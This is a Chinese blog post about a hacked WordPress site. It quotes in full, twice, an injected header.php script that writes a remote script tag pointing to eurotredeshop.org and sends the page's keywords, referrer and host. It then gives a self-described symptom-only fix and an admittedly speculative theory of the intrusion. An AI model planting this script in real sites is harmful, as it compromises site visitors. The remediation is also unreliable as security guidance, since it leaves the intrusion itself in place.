你的WP的header.php也被駭了嗎? “高興"提供一個治標解決方式。
症狀如下
類似這段程式碼,會出現在theme裡面的header.php裡頭的</head>前面
<script>var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!=="||document.referrer!==null){document.write(‘<script type="text/javascript" src="http://eurotredeshop.org/js/jquery.min.php?c_utt=G91825&c_utm=’+encodeURIComponent(‘http://eurotredeshop.org/js/jquery.min.php’+’?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=";var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!=="?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?":t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'"><‘+’/script>’);}</script>

OK,你被駭了!, 然後,一般我們遇到就是進去刪除這段code,但很不幸的3天後,又被放置類似的code進來的,怎麼駭進來的,我不知道詳情,我基本不是wp超級資安專家,只是一個wp使用者,而且你會被客戶說,
“為何我的網站在google上出現這個網站可能已遭入侵 “

google會幫你偵測 你的網站被入侵了,其實蠻貼心的。
我知道你們不想聽我屁話這麼多,那馬上來看看怎麼[治標]吧,目前已經快一個月都沒再被入侵植入程式碼了
STEP1 先刪除被植入的那段code
把 theme裡你使用的主題的header.php 打開來 並刪除可疑code
先刪除</head>前面的這段code
<script>var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!=="||document.referrer!==null){document.write(‘<script type="text/javascript" src="http://eurotredeshop.org/js/jquery.min.php?c_utt=G91825&c_utm=’+encodeURIComponent(‘http://eurotredeshop.org/js/jquery.min.php’+’?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=";var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!=="?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?":t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'"><‘+’/script>’);}</script>
STEP2 剪下剩餘的原始乾淨code
刪除可疑code後,剪下剩餘的原有程式碼
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
一定要把惡意的<script>var a=";setTimeout(10)………………….</script>刪除唷然後你會剩下你原有乾淨的code
STEP3 做一個空白檔案 head-include.php
做成一個空白檔案叫做 head-include.php

把剛剛剪下的程式碼(原本在header.php的乾淨的code) 在空白的head-include.php全部貼上

STEP4 header.php只留一行程式
這時候header.php會是空白的,來寫一段php簡單程式碼吧
<?php include(‘head-include.php’); ?>

DONE !!!
再來看看運作上有沒有問題,理論上應該都是正常運作的,
那為什麼這樣可行呢?
我的推測是 : 駭客已經破解wp(目前更新到最新4.5.2還是有被破解過)核心,就是衝得進去你家,然後是用程式碼判斷你主題theme裡有沒有header.php這個檔案,有的話會去找到你的</head>,然後緊接在</head>前面植入a=";setTimeout(10);if(…………… 這段惡意code。
因為工作繁忙沒有時間真正研究如何防禦及理論,還請其他大大補充囉
提供給遇到且想試看看的人
轉載請告知,並於轉載文中附原文連結,謝謝。
高興
studio.goods@gmail.com